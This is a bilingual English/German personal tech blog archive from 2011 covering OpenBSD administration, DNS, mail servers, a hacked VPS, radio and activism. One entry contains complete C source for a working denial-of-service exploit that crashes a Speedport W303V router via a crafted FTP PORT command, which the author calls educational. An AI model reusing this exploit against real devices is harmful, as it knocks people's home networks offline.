1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 104.848/104.848/104.848/0.000 ms
Die Namenserver die ich spezifiziert habe fuer die zone solarscale.de hatten
SOA daten die DENIC das Deutsche NIC nicht annehmen wollte. Aber endlich
ist es gelungen und ich bin froh. Es koennte noch einen Tag dauern bis die
NS eintraege propagiert sind, aber server die solarscale.de noch nicht
angeschaut haben werden die richtigen daten erhalten.
This is for my Canadian friends. The small radio station CKLN needs your
help. A long time ago (well actually 2 years ago) the Ryerson Student
Union didn't want to pay for CKLN anymore and a fight ensued. This
fight caused CKLN to go off-air for a number of months. Being off-air
is a violation of the CRTC broadcasting license and the CRTC has revoked
CKLN's license in the meantime. They have until February 12th to shut
down.
So if you like alternative programming. If you like pro-gay, pro-lesbian,
pro-minority programming CKLN is for you. And it's this voice that is so
important in an equal and fair society.
Here is a link that asks you to write your MP to save CKLN. As for me
I'm not a citizen of Canada and my EuMP can't do much to help, but CKLN got
my support in spirit. And that doesn't mean I'm gay. I'm not.
Another useless route through DE-CIX
February 2nd, 2011
When tracerouting free.fr from my vps which lies in Strasbourg the route
goes from Strasbourg, to Frankfurt, back to Strasbourg and on from there
this is wasteful and it would be better if there was a mini-exchange in
Strasbourg itself taking on this traffic.
pjp@proteus:~> traceroute free.fr
traceroute to free.fr (212.27.48.10), 30 hops max, 40 byte packets
1 static-ip-85-25-57-148.inaddr.intergenia.de (85.25.57.148) 0.000 ms 0.000 ms 0.000 ms
2 217.118.16.25 (217.118.16.25) 3.105 ms 3.182 ms 3.191 ms
3 217.118.16.129 (217.118.16.129) 3.402 ms 3.340 ms 3.359 ms
4 ve498.bbr1.fra3.inetbone.net (83.220.157.37) 3.346 ms 3.243 ms 3.260 ms
5 decix.proxad.net (80.81.192.223) 4.041 ms 4.158 ms 3.975 ms
6 strasbourg-6k-1-po101.intf.routers.proxad.net (212.27.56.29) 7.743 ms 7.580 ms 7.780 ms
...
Wenn man eine Traceroute nach free.fr macht von meinem vserver/vps das in
Strassburg liegt sieht man das die route von Strassburg, nach Frankfurt und
zurueck nach Strassburg geht und von dort aus dann weiter. Das ist natuerlich
ein unsparsamer weg und es waere besser wenn da ein mini-exchange in Strassburg
selber existiert das diesen Internet Verkehr uebernimmt.
Well, I finally got my DSL upgrade for the next two years, I'm one happy
camper.
Ich habe jetzt meine DSL Wartung bekommen fuer die naechsten zwei Jahre. Ich
bin voll und super happy.
Blog starts to forget
February 6th, 2011
As indicated a few weeks ago, this blog will start to forget in a FIFO manner.
Wie versprochen vor ein paar Wochen wird dieser Blog anfangen zu vergessen in
einer FIFO weise.
www.ipv6.solarscale.de March 7th, 2009
OpenBSD Donation March 1st, 2009
My SSH Tunnel February 25th, 2009
Why I chose static February 25th, 2009
Traceroute February 24th, 2009
The end of flavair.com February 17th, 2009
IPv6.solarscale.de February 12th, 2009
Back on the IPv6 Net! Mo 2. Feb 14:25:20 CET 2009
A thought on the Economic Crisis Sun Feb 1 18:01:16 CET 2009
A New Beginning Fri Jan 16 19:34:10 CET 2009
Changed mailserver
February 6th, 2011
I've switched the MX records for all my domains to uranus.centroid.eu. That's
my newly upgraded DSL. The old mail server proteus has almost fulfilled its
mission and after four years I'm finally giving it retirement. Proteus will
be switched off completely on March 13th and I've already gone through it and
deleted enough signs of its use last night. Uranus and goldflipper.net will
be my mainstay for the next two years and who knows what will come along by
then.
Ich habe die MX records fuer alle meine Domains zu uranus.centroid.eu gesetzt.
Das ist mein ueberholtes DSL. Der alte Mail Server proteus hat fast sein
mandat vollbracht und wird nach vier Jahren rechenzeit abgeschaltet und in
Rente gesetzt. Proteus wird genauergesagt am 13. Maerz abgeschaltet und ich
habe schon etwas auf dem Server geloescht gestern abend. Uranus und
goldflipper.net werden meine Haupt-Server sein fuer die naechsten zwei Jahre
und wer weiss was dann kommt.
Tonight I found myself reading code. The resolver code in OpenBSD to be
exact. I do this when I'm looking for something... and by golly I think
I've found it...
Heute abend habe ich Code gelesen. Die resolver library in OpenBSD um
es genauer auszudruecken. Wenn ich sowas tue, suche ich was... und
ich glaube ich habe es gefunden...man muss "per anhalter durch die
galaxies" gelesen haben.
traceroute6 clock.centroid.eu
February 18th, 2011
When I'm awake and my computer is on you can traceroute6 clock.centroid.eu
and it'll give you the time of day in GMT. Like so:
13 cl-154.muc-02.de.sixxs.net (2001:a60:f000:99::2) 122.742 ms 121.5[36/1981$
3.863 ms
14 cordelia.centroid.eu (2001:a60:f074:4::2) 127.305 ms 128.850 ms 130.404 m
s
15 xxx.hello.xxx.centroid.eu (2001:a60:f074:ff::1) 123.780 ms 123.610 ms 123
.301 ms
16 xxx.why.xxx.centroid.eu (2001:a60:f074:ff::2) 124.455 ms 126.730 ms 124.9
04 ms
17 xxx.are.xxx.centroid.eu (2001:a60:f074:ff::3) 131.776 ms 128.739 ms 134.4
05 ms
18 xxx.you.xxx.centroid.eu (2001:a60:f074:ff::4) 125.209 ms 133.453 ms 128.6
66 ms
19 xxx.tracerouting6.xxx.centroid.eu (2001:a60:f074:ff::5) 137.000 ms 133.315
ms 143.594 ms
20 the-time-is-15-41-02-in-gmt.clock.centroid.eu (2001:a60:f074:fe::dc8e) 138.
899 ms 141.519 ms 145.045 ms
21 dione.centroid.eu (2001:a60:f074::30) 123.835 ms 125.093 ms 123.141 ms
The code for this was actually pretty simple, it only required to put in
86400 reverse dns entries into my name server which bloated it by about 60
megabytes, but it's worth it I think. It does not work for traceroutes that
work with ICMP nor for traceroutes that require forward and reverse to match.
I found this video on youtube. It's snippets from Carl Sagan a cosmologer and
legend. It's worth being linked from this blog. Originally at youtube.
Upgrading postfix on OpenBSD 4.8
March 8th, 2011
A
plaintext injection attack has become known to exist in old versions of
postfix. OpenBSD's postfix in the ports was outdated at version 2.7.1.
What I did was I downloaded version 2.7.3 and stuck that into the
/usr/ports/distfiles/postfix/ directory. Then I went to work in
/usr/ports/mail/postfix/stable editing the Makefile first to say 2.7.3 and
not 2.7.1, then I built the new postfix with:
NO_CHECKSUM=Yes FLAVOR=SASL2 make
NO_CHECKSUM=Yes FLAVOR=SASL2 make package
So then I had the package. I stopped postfix on uranus and deleted it with
a cd /var/db/pkg && pkg_delete postfix-2.7.1-sasl2, then I installed the
package with pkg_add postfix-2.7.3-sasl2.tgz and started postfix with
/usr/local/sbin/postfix start. It worked and so far no complaints.
It's nice that the port allowed me to do this, had there been many patches
that conflict I wouldn't have been able to do this through the ports system.
Thanks to arno for coaxing me to do it instead of lazily waiting for a new
port.
Eine Luecke in postfix ist beseitigt worden. OpenBSD's
postfix von den ports war zu alt bei der version 2.7.1. Was ich getan habe
war das ich version 2.7.3 heruntergeladen habe und es in
/usr/ports/distfiles/postfix/ gesteckt habe. Dann habe ich angefangen den
port Makefile zu editieren in /usr/ports/mail/postfix/stable und es sagte
jetzt 2.7.3 und nicht 2.7.1. Dann habe ich denn port gebaut, so:
NO_CHECKSUM=Yes FLAVOR=SASL2 make
NO_CHECKSUM=Yes FLAVOR=SASL2 make package
Dann hatte ich das packet. Ich stoppte postfix auf Uranus und habe es
geloescht mit cd /var/db/pkg && pkg_delete postfix-2.7.1-sasl2. Dann habe
ich das neue packet eingespielt mit pkg_add postfix-2.7.3-sasl2.tgz und
habe postfix gestartet mit /usr/local/sbin/postfix start. Es gelung mir
und bis jetzt keine beschwerden.
Es ist schoen das der port das erlaubt hat.
We don't need it!
March 12th, 2011
I'm typing about nuclear power, I don't need it and my folks would agree.
We don't need it. The recent meltdown in Fukushima shows how easy a
disaster is waiting to happen. It's like the saying goes "you play with fire,
you gonn' get burned" and the question is not if we'll get burned but when.
Everybody line up, your turn is in the future, unless this madness ends!
I rede ueber Atomkraft. Ich brauch es nicht und meine Familie wuerde mir
zustimmen. Wir brauchen es nicht. Der Kernschmelz in Fukushima zeigt wie
einfach ein GAU passieren kann. Es ist wie das englische sagen, "you play
with fire, you gonn' get burned", und die frage ist nicht ob wir uns daran
verbrennen sondern wann. Jeder in eine reihe, unser zug ist dran in der
Zukunft, ausser wenn dieser wahnsinn ein ende hat.
VPS hacked and goodbyes to proteus
March 12th, 2011
I discontinued my vps proteus.solarscale.de a few months ago but I still had
it in possession until tomorrow. What I did was install other OS's on it to
test it. So I installed Debian 5.0 LAMP - 64 bit on it and left it like that
a few days. The apt-get system was broken due to bad checksums so I couldn't
update it. So what happened was that a hacker got in through the exim mail
service. He installed a perl script that would connect to an IRC server that
I never heard of before, probably a part of a botnet. I traced the process
for a few minutes and then reinstalled the VPS with a minimal OpenSuse 10.3
that I had in there before too. It doesn't have a mail server running and
only exposed daemon is sshd which is likely OK. Well so much for my
venturing, you see dangers everywhere. I just hope that he didn't spam with
this vps because it was visibly still in my dns domain (which I've taken off
now). Well this is the end for proteus. It was my trusted vps for 3+ years
and it's going now. Goodbye good machine.
Ich habe meinen VPS proteus.solarscale.de vor ein paar monaten aufgegeben
aber ich hatte es noch in meiner kontrolle bis morgen. Was ich getan habe
war das ich ein anderes Betriebsystem darauf installierte um es zu testen.
So habe ich Debian 5.0 LAMP - 64 bit darauf installiert und habe es so
gelassen ein paar tage. Ein Hacker hats sich dann schoen breit gemacht in
meinem VPS, er kam durch den "exim" mail dienst. Er hatte ein perl script
installiert das zu einem IRC server eine konnektion aufgemacht hatte
warscheinlich war es dann ein Zombie fuer ein Bot-netz. Ich habe den
Prozess ein bischen getraced aber nicht mehr viel herausgefunden und dann
habe ich das alte OS wieder aufgespielt das sicherer war (OpenSuse 10.3).
Es hat keinen mail dienst und nur SSH dienst ist an also warscheinlich
sicherer. So das waren meine erfahrungen, es ist gefahr ueberall. Ich
hoffe nur das er nicht mit meinem domain gespammt hat. So das war proteus
und proteus findet heute ein ende. Goodbye good machine!
Equinox Nigh
March 19th, 2011
The March Equinox is upon
us again, tomorrow. This also means the first day of spring. Hooray!
Die Maerz Tag-und-Nacht-Gleiche ist da. Morgen. Das heisst auch der erste Fruehlingstag.
This blog continues to forget on a monthly basis...
Dieser blog hoert gar nicht auf zu vergessen..
Wildcarddnsd with authpf May 2nd, 2009
Random Hackepedia May 1st, 2009
Solaris 10, configuring IPv6 April 30th, 2009
OpenBSD donation April 30th, 2009
Random Hackepedia April 23rd, 2009
Postfix Message Limit April 20th, 2009
Random Hackepedia April 18th, 2009
Mail with spam protection April 14th, 2009
RFC 2460 Reading change April 2nd, 2009
Happy Equinox! March 19th, 2009
Dovecot+OpenBSD+bsdauth+Apple Mail considered harmful?
April 4th, 2011
When I turned off proteus.solarscale.de as my primary mailserver I gave
that functionality to uranus.centroid.eu. The difference was that proteus
was Linux and uranus is OpenBSD. My parents have an email account that
is on uranus and my dad checks this with Apple Mail.
Every once in a while he'd get an authentication error and Apple Mail would
pop up a box asking for his password. I insisted it was Apple Mail since
there could possibly be nothing wrong with Dovecot on OpenBSD. Eventually
it became very bad or I became to doubt my first insistance. So what I
did was create a small patch for Dovecot to check the password sent by
Dovecot. I couldn't do this with a sniffer because it is SSL encrypted over
the Internet.
The patch just logged the password and username being used in Dovecots chrooted
directory hierarchy in /var. With this I saw that the password was OK when
dovecot would deny my dad's POP3 query. And dovecot would log this message:
I then switched in dovecots .conf file the passdb bsdauth {} entry to be
passdb passwd {} and it has been running fine for the last 5 days. I'm
confident that this was the problem and that the bsdauth mechanism is broken
on OpenBSD ever so slightly. I'm not going to chase this bug since there is
a workaround and I'm mega lazy, but I want you to know that this bug exists.
The small Toronto radio station CKLN 88.1 isn't broadcasting on the FM dial
anymore. What remains is an mp3 stream from the stations studios. Ron Nelson
said on the Reggaemania show that the format of the station may continue as
an mp3 stream format. It's unfortunate for the station but a sign of the
(digital) times, some people were able to tune in from their blackberries
through the radio stream before and that's the future I guess. Here is the
CKLN website for more information.
Toronto's kleine Radio Station CKLN 88.1 funkt nicht mehr auf FM. Es zu
hoeren geht jetzt nur noch durch MP3. Ron Nelson hat auf der Reggaemania
show gesagt das der format auf mp3 streaming warscheinlich bleiben wird. Es
ist zu schade fuer die Station aber ein zeichen der (digitalen) Zeiten, es
ist wohl die Zukunft CKLN durch ein Blackberry smart phone zu hoeren, was ja
auch ueber funk geht.
Well, I've tagged
wildcarddnsd
to version BETA_6 and branched BETA_6STABLE.
you can download
wildcarddnsd there. Here is a list of what changed between April 7th of
last year and today:
Addition of the utterly broken recursive lookup code
conf file is at version 4 now
inclusion of a "root hints" entry in some example.conf's
"ANY" RR type replies
pidfiles written to /var/run
master process which can be HUP'ed for reloading the nameserver
compress_label fix from possible overflow
DNS TTL logging fix for OpenBSD
TCP filedescriptor fix (so -> tnp->so)
It seems that I'm doing a BETA release every year or so. I'm getting a bit
of help from
mjbrune
these days and will see if he can hack the C code too.
All in all I'd like more people to help in, help is needed in the recursive
code logic. Maybe it'll be fixed by next year, maybe not, who knows. :-)
Thoughts about CKLN.FM
April 21st, 2011
Since CKLN lost their 88.1FM frequency they have been going on as an online
radio station listen in here. Perhaps in
a few years when digital radio comes out in Canada, a chance to get back to the airwaves will present itself again. And I think if CKLN keeps up their
"way" they'll get back on the airwaves. With digital radio there is a lot more
channels and better range and quality. The ckln.fm online format is a step
in that direction. Analog is on its way out, and it shows how opportunistic
this was by CRTC's decision to cut CKLN off. I'll still enjoy listening from
Germany via the Internet.
Atomkraft, Nein Danke!
April 26th, 2011
Yesterday I cycled roughly 19 kilometers to and from the nuclear power plant
Grafenrheinfeld, to protest against nuclear power and to pay my respects to
the anniversary of the Chernobyl disaster in the Ukraine. There was about
15,000 people there although we felt it was only 5k to 10k at most. My
argument is that Germany is capable of replacing nuclear power with
alternative energies. We need this nuclear abandonment. We're all very
scared that a Chernobyl or Fukushima could happen here in Germany.
Gestern, radelte ich ungefaer 19 kilometer zu dem AKW Grafenrheinfeld und
zurueck. Ich protestierte gegen Atomkraft und war da um mich an das
Unglueck von Tschernobyl zu erinnern. Es waren ungefaer 15,000 Menschen
dort mit mir, aber wir schaetzten das es nur 5K bis 10K waren. Mein argument
gegen Atomkraft ist das Deutschland in der lage ist Atomkraft mit alternativen
Energien zu ersetzen. Wir brauchen diesen Atomausstieg. Wir alle haben
Angst das Tschernobyl oder Fukushima hier in Deutschland passieren koennte.
PS. I should probably also say that this demonstration was historic for me. I
attended a demonstration as a boy in 1981 near the very same spot, 30 years
of protests. Here is an old photo of a demo:
Upgraded to OpenBSD 4.9
April 29th, 2011
Well I could have waited 2 days for packages to be available but I couldn't
wait. I installed OpenBSD 4.9, which I got in the mail yesterday from pre-
orders and installed it on cupid.centroid.eu (IPv6). Then I built packages
for uranus, it didn't take long and I was ready to binary upgrade uranus.
Everything went well except mailman had a problem which was solved by editing
the FLAVOR section of mailmans makefile. Most ports upgraded very well and
easy with a mere; cd /var/db/pkg; pkg_add -u *. Anyhow here is the uname
for uranus:
$ uname -a
OpenBSD uranus.centroid.eu 4.9 GENERIC.MP#794 i386
I'm excited that I have 4.9 running in production 2 days before everyone else
can download it. Pre-orders rock! Get your CD!
Uranus boots Uranus (with the heart of Saturn)
April 30th, 2011
One of the features I waited for in OpenBSD 4.9 was Wake-On-LAN. This
allows a program on OpenBSD 4.9 to boot another computer simply by running
arp -W MACADDRESS Interface. I could have done the wake on LAN feature with
codeblue but with OpenBSD 4.9 I didn't have to use it. So I have it booting
Uranus (with the heart of Saturn) every morning at 9AM. It'll serve as an
alarm clock too.
Why is it called uranus with the heart of saturn? Because it should really
be called saturn but I'm afraid that vmware workstation will cease to work
when I change the hostname in linux.
Ordered two books on PHP
May 8th, 2011
I've ordered two books on PHP from amazon.de. Should be wicked!
Ich habe zwei Buecher ueber PHP von amazon.de bestellt. Sollte toll sein!
Blog sees changes
May 14th, 2011
I've changed the blog. Manouvering to individual articles should be easier
now and an article can be entered completely making google caching easier
probably. We'll see. Also changed is that you can now read the blog by
click next or previous at the top or bottom. You can also find articles
quicker I believe. This article is also a test.
SGU will be missed
May 19th, 2011
Sorta too bad the show is over now...
Found a bug in dspam
May 20th, 2011
At work I found a bug in dspam which caused the daemon to be killed on
a SIGFPE. Here is
the link.
One t(w)o Four, a time to chill
May 21st, 2011
When I grew up in Stratford, Ontario I became infatuated with Hip Hop. I
dressed like I thought a rapper would dress and my friends all listened to
Hip Hop as well. We were a small group called "the rappers". It was
isolating but we couldn't hold back our faith. I longed for more. I
needed to move to the big city to live Hip Hop. *chuckle* So in 1994
me and a friend moved to Toronto to take part in the Hip Hop scene there.
We visited clubs and bars to see acts that came through the city and then
there was Saturday's. From 1PM to 4PM we listened to the Powermove show on
CKLN 88.1FM. This spot was perfect and a time to chill on a saturday afternoon.
I have fond memories of listening to MC battles conducted over telephone
call-ins. One particular still stands out in my mind when one person won a
battle when he rapped about his bike with a banana seat. I loved those
times then.
On February 12th, 2011 CKLN 88.1FM had a tribute to all the shows that
played on the 1-4PM timeslot. This was a historic show and many blogs
and media outlets picked up on it, here is some:
I also listened to this show and even taped it. You can check it out
here.
Today 88.1FM doesn't exist anymore, only as an online radio station at
ckln.fm and for some reason the 1-4 spot has
no more mixtape massacre. This is too bad, and people in Toronto who
listened to 88.1FM have lost a great pillar that upheld hip-hop in TO.
Well that's all I wanted to blog about today.
Does it have honour? What about minimum wage?
May 27th, 2011
I'm back working. The welfare office gave me work to do. Had I refused it
they would have sanctioned my welfare. This sorta makes me mad. But what
gets me right mad is that the work is for 1.50 euros an hour. Is there any
honour left in this system? I feel deeply disappointed.
Ich arbeite wieder. Der Jobcenter hat mir arbeit vermittelt. Wenn ich es
nicht genommen haette wuerde mein geld gekuerzt. Das macht mich ein bisschen
aergerlich. Aber was mich richtig aergert ist das diese arbeit fuer
1.50 Euro die stunde ist. Gibt es noch so was wie "Ehre" in diesem System?
Ich fuehle mich sehr entaeuscht gegenueber dem System.
Hello Hal!
May 27th, 2011
I did what I noticed some major newspapers (globeandmail.com) have done.
Every 30 seconds or so a javascript program refreshes the blue eye on the
bottom right corner. This is to show me that someone who is looking at
my blog is "alive" or human. This may seem invasive but I'm interested
in how long a human looks at my blog, but I'm unsure how to read the logs
for that yet. At least I'm collecting the data. Sorry if it creeps you
out.
Ich habe getan was meinche online zeitungen tun (globeandmail.com). Jede
30 sekunden erfrischt ein Javascript programm das blaue auge das unten
rechts ist. Dies zeigt mir ob jemand die meinen blog lesen am leben oder
menschen sind. Vielleicht ist dies als privatssphaere invasion angenommen,
aber ich bin interessiert in wie lange ein mensch meinen blog liest, ich
weiss nicht wie ich die logs dazu lesen soll. Auf jeden fall sammle ich
die daten. Schuldigung wenns dich stoert.
OpenBSD 5.0 with or without a browser in AMD64?
June 2nd, 2011
A new awesome function in OpenBSD-current breaks software that is written
on 32 bit operating systems. In a mail by Marc Espie to the
OpenBSD
misc@ mailing list he says:
Not surprisingly, a lot of software that claims to be 64 bits-ready isn't.
This touches all web navigators, most jit engines, and probably lots more
of software (our ports tree version of gnu-grep, for instance).
He goes on to say:
So, a lot of developers are hard at work figuring the problems, getting the
word upstream.
Later I
wrote asking what the OpenBSD community would do if the browsers can't
be fixed in time for the 5.0 release. Because that's what it comes down
to for me. When I boot my OpenBSD/amd64 vm instance "dione" I log into
X and open usually 1 or 2 xterms and firefox. I do most of my surfing
on OpenBSD and only when I need flash do I change to another operating
system such as Windows 7. This habit may be in danger here, if the
firefox mozilla team can't fix their software in time for the 5.0 release.
I have some experience with getting programs fixed "upstream" and not always
is there willingness to fix what is wrong out of whatever reason.
So for me, this means relax and sit back and wait. Its unlikely OpenBSD
can bundle a browser with their software in time for 5.0 and we may have to
go without one in the amd64 platform. Or perhaps the fixes for mozilla are
trivial and I'm worried over nothing. But this makes a good writeup for my
blog :-).
Cleaning heatsink reduces CPU temperature
June 2nd, 2011
My apartment isn't the cleanest place on earth. So it happens that dust
accumulates inside the computer case and eventually gets into the fans
and heatsinks. Today was one of those days where the CPU fan could not
cool the CPU sufficiently anymore and the box overheated. I had a hard
time connecting this heatsink to the cpu, the first time I musta done it
wrong and the CPU overheated very quickly. The second time I watched the
temperature in the bios hardware monitor for 15 minutes and last I saw it
at 48.5 degrees Celsius. Still fairly high considering the Fan was at
2200 RPM's. But I felt that this was better than the 70's that it was
at earlier. I do wonder whether a liquid cooling system is better for
my setup.
Bought a book on Windows System programming
June 5th, 2011
This
is the book that I purchased. I'm hoping to learn a bit about the Windows
system. I can use that knowledge to better my understanding of how OS's work
in general.
Speedport W303V crashes on PORT FTP command
June 13th, 2011
My parents have a Speedport W303V router bought from T-Home as they are a
Telekom customer. I was playing around with FreeBSD today and noticed that
whenever I'd ftp something the router would crash. So I tcpdumped it and
produced this exploit that crashes this router.
/* speedzap.c by pbug
*
* This program crashes a T-Home Speedport W 303V router
* with firmware version 1.09.000
*
* The router is not even touched, an FTP PORT command is sent with an
* IP that is not in the address range given out by this router.
*
* Some proxy inside the router must cause it to give up and become
* unreachable.
*
* cc -o speedzap speedzap.c ; ./speedzap
*
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FTPSERVER "213.83.42.56"
#define FTPPORT 21
#define BYEBYE "PORT 10,0,2,15,167,140\r\n"
int
main(void)
{
struct sockaddr_in sin;
int so;
char buf[512];
so = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (so < 0) {
perror("socket");
exit(1);
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(FTPPORT);
sin.sin_addr.s_addr = inet_addr(FTPSERVER);
if (connect(so, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("connect");
exit(1);
}
read(so, buf, sizeof(buf));
write(so, BYEBYE, strlen(BYEBYE));
printf("zapped, restart your router.\n");
close(so);
exit(0);
}
The program is intended for educational use to show how bad some proxy
functions are built-in to routers.
Update on Speedport W303V crash
June 18th, 2011
The particular router is a Type A machine, where two models exist. Type A
and Type B. I called the telekom yesterday and told them the problem and
they had me put the default settings back on the router after backing up
the settings and try again. NO GO. The firmware is the latest released and
all we can hope for is another firmware patch. This router is beyond
broken and I can't continue to FTP stuff like freebsd ezjail stuff on
virtualbox. The tech at the telekom said we could exchange the router but
we weren't on warranty anymore. This is like an 80 euro router... so
we left it at that. I came out empty handed.
Solstice in three days
June 18th, 2011
The June Solstice is in
three days. This means summer in the northern hemisphere and winter in the
southern hemisphere.
My second Windows program
June 25th, 2011
Since I got my windows system programming book I've been toiling with a
program on windows. The first program was a hello, world program and this
is the second program.
The program requires one to press enter at the end when the finding is done
which is a feature I put in for the Visual C++ Express program when one
debugs it so that the cmd screen stays open. What the program does is similar
to UNIX's find(1), although this implementation is more like a joke. Notice
one has to use "*" to list contents in a path. yikes.
Syncing clock on OpenBSD/VMware Workstation
June 29th, 2011
I recently synced all my clocks on OpenBSD vm's using the vmt(4) timedelta
sensor that is included in OpenBSD 4.9.
tail -f /var/log/daemon ...
Jun 29 19:02:23 cupid ntpd[18033]: adjusting local clock by -0.275138s
Jun 29 19:03:54 cupid ntpd[16677]: clock is now synced
^C
# grep -v ^# /etc/ntpd.conf|grep sensor
sensor vmt0
That's all that's needed in the config for ntpd to run on the vm.
My third Windows program, speedport exploit
June 30th, 2011
With help from someone I managed to compile my exploit that crashes the
Speedport W303V type A router. The .exe is executed from Windows 7 cmd
window.
I'm gonna try it from my parents house some time and see if it really does
crash the router. :-).
Update: it works at my parents house with windows XP. My mom wanted
to know why I was making this and what my goal is. My goal is to get a
firmware patch out of this from the manufacturer, so that I can continue the
legit operations that this uses for a freebsd ezjail install.
Ordered two new books
July 4th, 2011
I've ordered two new books. Now that I'm working hard it's time to reap
the benefits to furthering myself. The one is the book you see in the
image and the other is a book on javascript. I'm hoping to better my
website with javascript eventually.
So what happened to my UNIX love, now that I'm ordering Windows books you
may ask? It's still there but I'd like to explore other possibilities and
windows is pretty mainstream. I'm toying with the thought of porting
wildcarddnsd to windows. All in good time, if ever.
Constellation Name Abbreviations
July 8th, 2011
I got this out of the program xephem which lists 89 constellations:
No, the eagle has not landed. It was the US space shuttle Atlantis that
did land at Kennedy Space center a few days ago. There won't be any more
space shuttle launches and some people see this as an embarrasment for the
US. I don't see it that way but rather have been watching the reports
come in from companies such as SpaceX (Falcon rocket, Dragon capsule). The
reports are good and I saw a schedule the other day where we'll see a
Dragon capsule scheduled for docking with the ISS (International Space
Station). Looking back the shuttle has followed and haunted me in my
life, I remember the first time I heard about it when the Challenger
blew up upon launch. That was the first memory I have of the shuttle.
Not exactly a good one. At that time we had immigrated to Canada and
I learned that the Canadarm (the shuttles robotic arm) was Canadas
contribution to the shuttle. A decade and a half later I immigrated
back to Germany and not too soon after that the Columbia disintegrated
upon re-entry over Texas. Another haunting memory, but I can say that
whenever I migrated around the globe that a shuttle and its crew was
lost. My role models were German and Canadian Astronauts. Such as
Ulf Merbold, Thomas Reiter, Chris Hadfield, Marc Garneau, Roberta Bondar,
are some that come to mind. All of them flew on the shuttle I believe
as mission specialists and carried the dream to their respective nations
with stories of another state of being (in freefall/in space). So what's
next now that the shuttles don't rise anymore? Like I said Space X,
Russian Soyuz, European Soyuz and ATV, Chinese, Japanese and Indian space
rockets and a slew of other commercial carriers all striving for manned
space flight. And since most commercial manned space programs are
american it's not an embarrasment but another national hope/treasure.
The shuttle was prohibitively expensive and we need the cheaper alternatives
that are now up and coming. So with that I say "you did well ol' shuttle
fleet, now rest in peace", and I'm thrilled with the future on what's to
come.
leopard -> snow leopard, no problem!
July 24th, 2011
I bought Snow Leopard for my dad yesterday. We installed it on his Mac Book
which has a Core 2 Duo processor. No files were lost but the only thing we
did was upgrade VMware Fusion from 2.0.8 to 3.1.3 which cost 30.70 euros plus
tax. I'm not sure we needed to upgrade the Fusion but it was a surety thing.
The intial update after installing Mac OS X 10.6.3 was a 1 GB update to take us
to 10.6.8 or something. It was quite a download over the 3 Mbps DSL but it
will be nothing compared to the Mac OS X Lion download that we'll be conducting
next week. :-).
snow leopard -> lion
July 30th, 2011
Today we purchased and downloaded Mac OS X Lion (10.7). Everything went
smooth. I finally got the Macbook to run in 64 bit mode too. Interesting is
that lion has a "pfctl" command. That's new!
Turned on comments
August 5th, 2011
I did a bit of programming today and turned on comments on the blog. You
can view them when you click on the articles themselves. No captcha yet
though. I hope you find this useful at all, I don't really but I'm willing
to take this next big step. Comments are restricted to 8000 bytes or
something so keep it short.
Got new SIP (VOIP) phone
August 6th, 2011
Yesterday, I got my new sip phone. It's a Grandstream GXP 2100. I'm looking
forward to making it work, but it works already. The voice clarity is great.
Last week I signed up to sipgate.de for a sip account and I'm getting rates
of 1 cent per minute in Germany. There is a flatrate for this but I'll have
to see if it's worth it. Also I'm unsure whether I'm getting billed for
incoming calls, something I'll have to figure out.
SVPRadio the new Stratford sound
August 7th, 2011
For the past 20 weeks or so a friend and I have been working weekly on a new
project. SVPradio is an Internet Radio
station for Stratford, Ontario residents and it broadcasts for 6 hours every
week (on wednesdays). While my friend DJ Jaz handles the organization and
sound I took care of the behind the scenes setup that an Internet Radio
station needs. Another friend of mine offered us his server for this which
was very nice. Our weekly traffic is still very low as we're not well known
yet but word is spreading surely as now the DJ'ing is done from the storefront
of Stratford's Compudoc. Here is a picture:
In this picture I believe you see DJ Wigs who does a drum-bass and jungle show.
All in all the people who make SVPradio happen are great and the shows are
always interesting. We always wanted to have SVPradio since our teenager years
and the name "SVP" was picked back then as well. What it stands for I'll leave
to your imagination as we don't want to reveal that yet. One fitting acronym
is "Stratford's very pretty". I'm looking forward to the next 20 weeks and
perhaps our listener volume will increase too.
1/6 of my traffic is IPv6 traffic
August 10th, 2011
$ printf "em0\ngif0\n" | while read i ; do netstat -nsbI $i|head -2 ; done
Name Mtu Network Address Ibytes Obytes
em0 1500 00:90:0b:19:56:04 36803931395 6075787347
Name Mtu Network Address Ibytes Obytes
gif0 1280 5926981413 823262847
$ uptime
10:31PM up 103 days, 1:47, 1 user, load averages: 0.50, 0.39, 0.36
$
The output reveals the Ipv4 and IPv6 interfaces on my home host uranus.
gif0 is tunneled over em0 so the 6GB are part of em0's 36GB.
Grandstream GXP-2100 Phonebook Generator
August 12th, 2011
I made a smallish script that produces an .xml file that the grandstream
phone can grok for its telephone book. I didn't want to store this on
my SIP providers interface because I don't want to reveal the numbers
that I have stored other than when I dial them.
GRANDSTREAM PHONEBOOK GENERATOR V 1.0
1. ENTER PHONE NUMBER
2. DISPLAY ALL PHONE NUMBERS
3. GENERATE PHONEBOOK
4. EXIT
The script is too simple really. I could stick more effort into it but
then it wouldn't be my philosophy of being uber-lazy. Here is
the script.
More german translations / Mehr Uebersetzungen
August 21st, 2011
I have translated some more hackepedia articles to german over the last
few weeks and want to give you an update. Direct your browser to:
hackepedia
german translations and see the following entries:
Hier sind ein paar mehr Uebersetzungen ins Deutsche.
hackepedia
in Deutschland.
Growing a partition on OpenBSD under VMware Workstation 7.1
September 2nd, 2011
I ran out of space on my OpenBSD vm that I use for most everything. So I
did the following:
shut off vm
under settings of vm, disk select utilities, expand
grew my partition from 25 GB to 30 GB
saved
booted vm into single user mode
used fdisk -e wd0 to grow the fdisk
used disklabel -E wd0 to grow the last partition (/home)
(yeah I was lucky /home was the last partition and it needed growing)
used growfs /dev/wd0k
fsck -y /dev/wd0k
mount -a
control-d to go into multiuser mode
partition was grown 5 GB's
Hope this helps whomever.
Free Bradley Manning
September 3rd, 2011
I've been subscribed to the Bradley Manning group on Facebook for a while
now. This particular photo intrigued me. It's fitting now that ALL the
wikileaks cables have been released.
This particular billboard is found in Kansas City, USA.
Free Bradley Manning!
OpenBSD 5.0 song any day now...
September 3rd, 2011
I've researched when we should be getting hold of the song of OpenBSD 5.0.
Last year for OpenBSD 4.8 and the
year before for OpenBSD 4.6 the
release date was between September 8th and 11th. So sometime in the next
8 days we should get a new treat. I can hardly wait!
Data Retention Law Ideas / Datenspeicherung Gesetz Ideen
